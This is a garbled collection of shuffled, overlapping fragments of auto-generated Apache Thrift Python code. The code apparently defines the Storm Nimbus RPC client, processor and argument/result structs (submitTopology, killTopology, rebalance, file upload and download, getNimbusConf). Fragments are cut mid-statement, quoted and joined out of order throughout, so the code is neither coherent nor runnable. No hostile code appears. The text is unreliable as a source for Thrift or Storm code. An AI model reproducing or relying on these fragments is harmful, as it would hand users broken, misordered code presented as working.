iprot.skip(ftype) elif fid == 2: if", "name not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown", "iprot.readMessageEnd() result = getNimbusConf_result() result.success = self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY, seqid)", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "getTopologyConf_args: \"\"\" Attributes: - id \"\"\" thrift_spec = ( None,", "self.recv_getTopology() def send_getTopology(self, id): self._oprot.writeMessageBegin('getTopology', TMessageType.CALL, self._seqid) args = getTopology_args()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "Processor.process_getTopologyConf self._processMap[\"getTopology\"] = Processor.process_getTopology self._processMap[\"getUserTopology\"] = Processor.process_getUserTopology def process(self, iprot,", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_args') if", "def recv_killTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "submitTopology_args() args.name = name args.uploadedJarLocation = uploadedJarLocation args.jsonConf = jsonConf", "options \"\"\" self.send_rebalance(name, options) self.recv_rebalance() def send_rebalance(self, name, options): self._oprot.writeMessageBegin('rebalance',", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_args')", "= location self.chunk = chunk def read(self, iprot): if iprot.__class__", "= getTopologyInfo_result() try: result.success = self._handler.getTopologyInfo(args.id) except NotAliveException as e:", "elif fid == 3: if ftype == TType.STRING: self.jsonConf =", "== other) class beginFileUpload_result: \"\"\" Attributes: - success \"\"\" thrift_spec", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = beginFileDownload_result()", "import fastbinary except: fastbinary = None class Iface: def submitTopology(self,", "def process(self, iprot, oprot): (name, type, seqid) = iprot.readMessageBegin() if", "(self == other) class downloadChunk_result: \"\"\" Attributes: - success \"\"\"", "self.send_submitTopology(name, uploadedJarLocation, jsonConf, topology) self.recv_submitTopology() def send_submitTopology(self, name, uploadedJarLocation, jsonConf,", "recv_getUserTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "== 0: if ftype == TType.STRUCT: self.success = StormTopology() self.success.read(iprot)", "pass def killTopology(self, name): \"\"\" Parameters: - name \"\"\" pass", "oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' %", "2) self.ite.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"] = Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"] = Processor.process_killTopologyWithOpts self._processMap[\"activate\"] = Processor.process_activate", "if self.uploadedJarLocation is not None: oprot.writeFieldBegin('uploadedJarLocation', TType.STRING, 2) oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd()", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_submitTopologyWithOpts(self, seqid, iprot, oprot):", "def getTopology(self, id): \"\"\" Parameters: - id \"\"\" pass def", "iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid)", "(self == other) class activate_result: \"\"\" Attributes: - e \"\"\"", "def __init__(self, name=None,): self.name = name def read(self, iprot): if", "e \"\"\" thrift_spec = ( (0, TType.STRING, 'success', None, None,", "result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk failed: unknown result\"); def getNimbusConf(self, ):", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getNimbusConf_result() result.read(self._iprot) self._iprot.readMessageEnd()", "result.success = self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "= StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) elif fid == 5: if", "== 1: if ftype == TType.STRUCT: self.e = NotAliveException() self.e.read(iprot)", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyConf(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL, self._seqid) args = getNimbusConf_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_args') if self.id", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyConf(self, seqid, iprot, oprot): args", "TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() if self.options is not None: oprot.writeFieldBegin('options',", "result = downloadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "args.uploadedJarLocation = uploadedJarLocation args.jsonConf = jsonConf args.topology = topology args.write(self._oprot)", "args.read(iprot) iprot.readMessageEnd() result = getTopologyConf_result() try: result.success = self._handler.getTopologyConf(args.id) except", "name): self._oprot.writeMessageBegin('killTopology', TMessageType.CALL, self._seqid) args = killTopology_args() args.name = name", "raise x result = finishFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() return def beginFileDownload(self,", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getNimbusConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "iprot.readMessageEnd() result = rebalance_result() try: self._handler.rebalance(args.name, args.options) except NotAliveException as", "== 2: if ftype == TType.STRING: self.uploadedJarLocation = iprot.readString(); else:", "if self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT, 5) self.options.write(oprot) oprot.writeFieldEnd()", "def __ne__(self, other): return not (self == other) class beginFileUpload_result:", "1: if ftype == TType.STRING: self.file = iprot.readString(); else: iprot.skip(ftype)", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_result')", "== TType.STRING: self.chunk = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY, seqid)", "self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "args = getTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "Parameters: - id \"\"\" self.send_getTopologyInfo(id) return self.recv_getTopologyInfo() def send_getTopologyInfo(self, id):", "x result = beginFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "None, ), # 1 (2, TType.STRING, 'uploadedJarLocation', None, None, ),", "- id \"\"\" thrift_spec = ( None, # 0 (1,", "ClusterSummary() self.success.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "options) self.recv_rebalance() def send_rebalance(self, name, options): self._oprot.writeMessageBegin('rebalance', TMessageType.CALL, self._seqid) args", "(0, TType.STRING, 'success', None, None, ), # 0 (1, TType.STRUCT,", "self.recv_beginFileDownload() def send_beginFileDownload(self, file): self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL, self._seqid) args = beginFileDownload_args()", "result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf failed:", "seqid, iprot, oprot): args = killTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result =", "process_deactivate(self, seqid, iprot, oprot): args = deactivate_args() args.read(iprot) iprot.readMessageEnd() result", "from thrift.protocol import fastbinary except: fastbinary = None class Iface:", "name def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "3: if ftype == TType.STRING: self.jsonConf = iprot.readString(); else: iprot.skip(ftype)", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop() oprot.writeStructEnd() def", "self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getNimbusConf(self, seqid,", "finishFileUpload_args() args.location = location args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_finishFileUpload(self, ):", "name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_rebalance(self, ):", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_args') if self.id is not", "fid == 4: if ftype == TType.STRUCT: self.topology = StormTopology()", "= ite def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "result.success = self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY, seqid)", "is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf failed: unknown", "oprot.writeStructBegin('activate_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot)", "raise x result = rebalance_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is", "oprot.writeFieldEnd() if self.chunk is not None: oprot.writeFieldBegin('chunk', TType.STRING, 2) oprot.writeString(self.chunk)", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_rebalance(self, ): (fname, mtype, rseqid) =", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_args') if self.id", "getTopology_result() try: result.success = self._handler.getTopology(args.id) except NotAliveException as e: result.e", "def send_getTopologyConf(self, id): self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL, self._seqid) args = getTopologyConf_args() args.id", "oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "self.id = id def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot)", "self.success = StormTopology() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1:", "class getTopologyConf_result: \"\"\" Attributes: - success - e \"\"\" thrift_spec", "other): return not (self == other) class rebalance_result: \"\"\" Attributes:", "name - options \"\"\" self.send_rebalance(name, options) self.recv_rebalance() def send_rebalance(self, name,", "- uploadedJarLocation - jsonConf - topology \"\"\" pass def submitTopologyWithOpts(self,", "submitTopology_args: \"\"\" Attributes: - name - uploadedJarLocation - jsonConf -", "def submitTopology(self, name, uploadedJarLocation, jsonConf, topology): \"\"\" Parameters: - name", "result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology failed: unknown result\"); class Processor(Iface, TProcessor):", "- name \"\"\" pass def rebalance(self, name, options): \"\"\" Parameters:", "getNimbusConf(self, ): pass def getClusterInfo(self, ): pass def getTopologyInfo(self, id):", "( ) def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "process_downloadChunk(self, seqid, iprot, oprot): args = downloadChunk_args() args.read(iprot) iprot.readMessageEnd() result", "seqid, iprot, oprot): args = killTopology_args() args.read(iprot) iprot.readMessageEnd() result =", "oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.uploadedJarLocation is not None:", "raise result.e return def deactivate(self, name): \"\"\" Parameters: - name", "chunk \"\"\" self.send_uploadChunk(location, chunk) self.recv_uploadChunk() def send_uploadChunk(self, location, chunk): self._oprot.writeMessageBegin('uploadChunk',", "Parameters: - name - options \"\"\" self.send_rebalance(name, options) self.recv_rebalance() def", "1 ) def __init__(self, e=None,): self.e = e def read(self,", "def beginFileDownload(self, file): \"\"\" Parameters: - file \"\"\" self.send_beginFileDownload(file) return", "'chunk', None, None, ), # 2 ) def __init__(self, location=None,", "self.topology.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot):", "result\"); def getTopology(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopology(id)", "- chunk \"\"\" self.send_uploadChunk(location, chunk) self.recv_uploadChunk() def send_uploadChunk(self, location, chunk):", "iprot, oprot): args = beginFileDownload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileDownload_result()", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_args') if self.name is", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_args') if self.name is", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_args')", "def send_getUserTopology(self, id): self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL, self._seqid) args = getUserTopology_args() args.id", "oprot.trans.flush() def process_killTopologyWithOpts(self, seqid, iprot, oprot): args = killTopologyWithOpts_args() args.read(iprot)", "def __ne__(self, other): return not (self == other) class deactivate_result:", "name=None, uploadedJarLocation=None, jsonConf=None, topology=None,): self.name = name self.uploadedJarLocation = uploadedJarLocation", "other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self,", "self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() if", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_uploadChunk(self, seqid, iprot, oprot): args =", "1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "id \"\"\" pass def getTopology(self, id): \"\"\" Parameters: - id", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_args')", "= self._handler.getUserTopology(args.id) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getUserTopology\",", "Attributes: - success - e \"\"\" thrift_spec = ( (0,", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopologyWithOpts(self, seqid, iprot, oprot): args =", "iprot, oprot): args = getUserTopology_args() args.read(iprot) iprot.readMessageEnd() result = getUserTopology_result()", "= iprot.readString(); else: iprot.skip(ftype) elif fid == 4: if ftype", "self._oprot.writeMessageBegin('activate', TMessageType.CALL, self._seqid) args = activate_args() args.name = name args.write(self._oprot)", "oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.options is not None:", "result.e return def rebalance(self, name, options): \"\"\" Parameters: - name", "def beginFileUpload(self, ): self.send_beginFileUpload() return self.recv_beginFileUpload() def send_beginFileUpload(self, ): self._oprot.writeMessageBegin('beginFileUpload',", "other): return not (self == other) class downloadChunk_result: \"\"\" Attributes:", "= submitTopology_args() args.name = name args.uploadedJarLocation = uploadedJarLocation args.jsonConf =", "\"\"\" Parameters: - id \"\"\" self.send_getTopologyInfo(id) return self.recv_getTopologyInfo() def send_getTopologyInfo(self,", "other) class submitTopologyWithOpts_result: \"\"\" Attributes: - e - ite \"\"\"", "ttypes import * from thrift.Thrift import TProcessor from thrift.transport import", "recv_beginFileUpload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "uploadedJarLocation, jsonConf, topology) self.recv_submitTopology() def send_submitTopology(self, name, uploadedJarLocation, jsonConf, topology):", "self.send_getNimbusConf() return self.recv_getNimbusConf() def send_getNimbusConf(self, ): self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL, self._seqid) args", "== other) class submitTopologyWithOpts_args: \"\"\" Attributes: - name - uploadedJarLocation", "id): \"\"\" Parameters: - id \"\"\" self.send_getTopologyConf(id) return self.recv_getTopologyConf() def", "not (self == other) class killTopologyWithOpts_args: \"\"\" Attributes: - name", "self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING,", "oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopology(self, seqid, iprot,", "args.read(iprot) iprot.readMessageEnd() result = deactivate_result() try: self._handler.deactivate(args.name) except NotAliveException as", "def __ne__(self, other): return not (self == other) class getUserTopology_args:", "__ne__(self, other): return not (self == other) class getTopology_args: \"\"\"", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_result') if self.success is", "TType.STOP: break if fid == 0: if ftype == TType.STRING:", "is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk failed: unknown", "(fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break", "oprot.trans.flush() def process_rebalance(self, seqid, iprot, oprot): args = rebalance_args() args.read(iprot)", "(self == other) class rebalance_args: \"\"\" Attributes: - name -", "self.chunk = chunk def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "== other) class getUserTopology_args: \"\"\" Attributes: - id \"\"\" thrift_spec", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_result') if self.e is not None:", "self._iprot.readMessageEnd() raise x result = getNimbusConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "process_getNimbusConf(self, seqid, iprot, oprot): args = getNimbusConf_args() args.read(iprot) iprot.readMessageEnd() result", "oprot.trans.flush() def process_getTopologyConf(self, seqid, iprot, oprot): args = getTopologyConf_args() args.read(iprot)", "e \"\"\" thrift_spec = ( None, # 0 (1, TType.STRUCT,", "and self.thrift_spec is not None and fastbinary is not None:", "seqid) = iprot.readMessageBegin() if name not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd()", "args.read(iprot) iprot.readMessageEnd() result = submitTopology_result() try: self._handler.submitTopology(args.name, args.uploadedJarLocation, args.jsonConf, args.topology)", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopologyWithOpts(self, seqid, iprot, oprot):", "(self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and", "send_deactivate(self, name): self._oprot.writeMessageBegin('deactivate', TMessageType.CALL, self._seqid) args = deactivate_args() args.name =", "TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.uploadedJarLocation is not None: oprot.writeFieldBegin('uploadedJarLocation',", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_args')", "self.chunk is not None: oprot.writeFieldBegin('chunk', TType.STRING, 2) oprot.writeString(self.chunk) oprot.writeFieldEnd() oprot.writeFieldStop()", "else: iprot.skip(ftype) elif fid == 2: if ftype == TType.STRUCT:", "1: if ftype == TType.STRUCT: self.e = AlreadyAliveException() self.e.read(iprot) else:", "- topology - options \"\"\" pass def killTopology(self, name): \"\"\"", "fid == 2: if ftype == TType.STRUCT: self.ite = InvalidTopologyException()", "is not None: raise result.e return def deactivate(self, name): \"\"\"", "(1, TType.STRING, 'location', None, None, ), # 1 ) def", "if result.e is not None: raise result.e if result.ite is", "send_killTopology(self, name): self._oprot.writeMessageBegin('killTopology', TMessageType.CALL, self._seqid) args = killTopology_args() args.name =", "return not (self == other) class killTopologyWithOpts_args: \"\"\" Attributes: -", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_args') if self.location", "id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyInfo(self, ): (fname, mtype, rseqid)", "), # 3 (4, TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec), None, ),", "= None class Iface: def submitTopology(self, name, uploadedJarLocation, jsonConf, topology):", "self._oprot.trans.flush() def recv_getNimbusConf(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' %", "thrift.Thrift import TType, TMessageType, TException, TApplicationException from ttypes import *", "self._iprot.readMessageEnd() raise x result = getTopologyInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "# # options string: py # from thrift.Thrift import TType,", "= ( None, # 0 (1, TType.STRUCT, 'e', (AlreadyAliveException, AlreadyAliveException.thrift_spec),", "chunk) self.recv_uploadChunk() def send_uploadChunk(self, location, chunk): self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL, self._seqid) args", "= Processor.process_beginFileDownload self._processMap[\"downloadChunk\"] = Processor.process_downloadChunk self._processMap[\"getNimbusConf\"] = Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"] =", "ftype == TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype) elif fid", "oprot.writeStructBegin('submitTopologyWithOpts_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot)", "fid == 1: if ftype == TType.STRING: self.file = iprot.readString();", "is not None: oprot.writeFieldBegin('options', TType.STRUCT, 2) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "x result = killTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not", "KNOW WHAT YOU ARE DOING # # options string: py", "self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING,", "= uploadedJarLocation args.jsonConf = jsonConf args.topology = topology args.options =", "self._iprot.readMessageEnd() raise x result = submitTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "send_beginFileDownload(self, file): self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL, self._seqid) args = beginFileDownload_args() args.file =", "oprot): args = finishFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = finishFileUpload_result() self._handler.finishFileUpload(args.location)", "args = killTopology_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "name, options): \"\"\" Parameters: - name - options \"\"\" pass", "(1, TType.STRING, 'name', None, None, ), # 1 ) def", "self._processMap[\"finishFileUpload\"] = Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"] = Processor.process_beginFileDownload self._processMap[\"downloadChunk\"] = Processor.process_downloadChunk self._processMap[\"getNimbusConf\"]", "deactivate_result: \"\"\" Attributes: - e \"\"\" thrift_spec = ( None,", "elif fid == 2: if ftype == TType.STRING: self.uploadedJarLocation =", "(AlreadyAliveException, AlreadyAliveException.thrift_spec), None, ), # 1 (2, TType.STRUCT, 'ite', (InvalidTopologyException,", "self.name = name self.options = options def read(self, iprot): if", "args = downloadChunk_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_result') if", "( None, # 0 (1, TType.STRUCT, 'e', (AlreadyAliveException, AlreadyAliveException.thrift_spec), None,", "oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L =", "= uploadedJarLocation self.jsonConf = jsonConf self.topology = topology self.options =", "self._oprot.trans.flush() def recv_getTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "= killTopology_result() try: self._handler.killTopology(args.name) except NotAliveException as e: result.e =", "id \"\"\" self.send_downloadChunk(id) return self.recv_downloadChunk() def send_downloadChunk(self, id): self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL,", "__ne__(self, other): return not (self == other) class beginFileUpload_args: thrift_spec", "iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec", "pass def getTopologyInfo(self, id): \"\"\" Parameters: - id \"\"\" pass", "AND STRUCTURES class submitTopology_args: \"\"\" Attributes: - name - uploadedJarLocation", "not (self == other) class deactivate_args: \"\"\" Attributes: - name", "= getTopology_args() args.read(iprot) iprot.readMessageEnd() result = getTopology_result() try: result.success =", "(self == other) class getTopology_args: \"\"\" Attributes: - id \"\"\"", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_args') if", "send_downloadChunk(self, id): self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL, self._seqid) args = downloadChunk_args() args.id =", "result\"); def getTopologyConf(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopologyConf(id)", "(0, TType.STRUCT, 'success', (ClusterSummary, ClusterSummary.thrift_spec), None, ), # 0 )", "\"\"\" pass def killTopologyWithOpts(self, name, options): \"\"\" Parameters: - name", "2 ) def __init__(self, e=None, ite=None,): self.e = e self.ite", "self.id = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e',", "self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin()", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo failed: unknown result\"); def getTopologyConf(self, id): \"\"\"", "result.e is not None: raise result.e return def rebalance(self, name,", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = beginFileDownload_result() result.read(self._iprot)", "oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() if", "'e', (NotAliveException, NotAliveException.thrift_spec), None, ), # 1 (2, TType.STRUCT, 'ite',", "self._iprot.readMessageEnd() raise x result = rebalance_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e", "return not (self == other) class killTopologyWithOpts_result: \"\"\" Attributes: -", "not None: raise result.ite return def killTopology(self, name): \"\"\" Parameters:", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getUserTopology(self, ): (fname, mtype, rseqid) =", "self._handler.deactivate(args.name) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY,", "- options \"\"\" thrift_spec = ( None, # 0 (1,", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_result') if self.e", "def process_submitTopology(self, seqid, iprot, oprot): args = submitTopology_args() args.read(iprot) iprot.readMessageEnd()", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileUpload(self, seqid, iprot, oprot): args", "return self.recv_getUserTopology() def send_getUserTopology(self, id): self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL, self._seqid) args =", "TType.STOP: break if fid == 1: if ftype == TType.STRUCT:", "beginFileUpload_result() result.success = self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "- id \"\"\" pass def getUserTopology(self, id): \"\"\" Parameters: -", "oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L =", "deactivate_args() args.read(iprot) iprot.readMessageEnd() result = deactivate_result() try: self._handler.deactivate(args.name) except NotAliveException", "thrift_spec = ( ) def read(self, iprot): if iprot.__class__ ==", "(2, TType.STRUCT, 'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec), None, ), # 2 )", "(self == other) class getClusterInfo_result: \"\"\" Attributes: - success \"\"\"", "file args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileDownload(self, ): (fname, mtype, rseqid)", "key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L))", "x result = downloadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "if ftype == TType.STRUCT: self.success = TopologyInfo() self.success.read(iprot) else: iprot.skip(ftype)", "result = 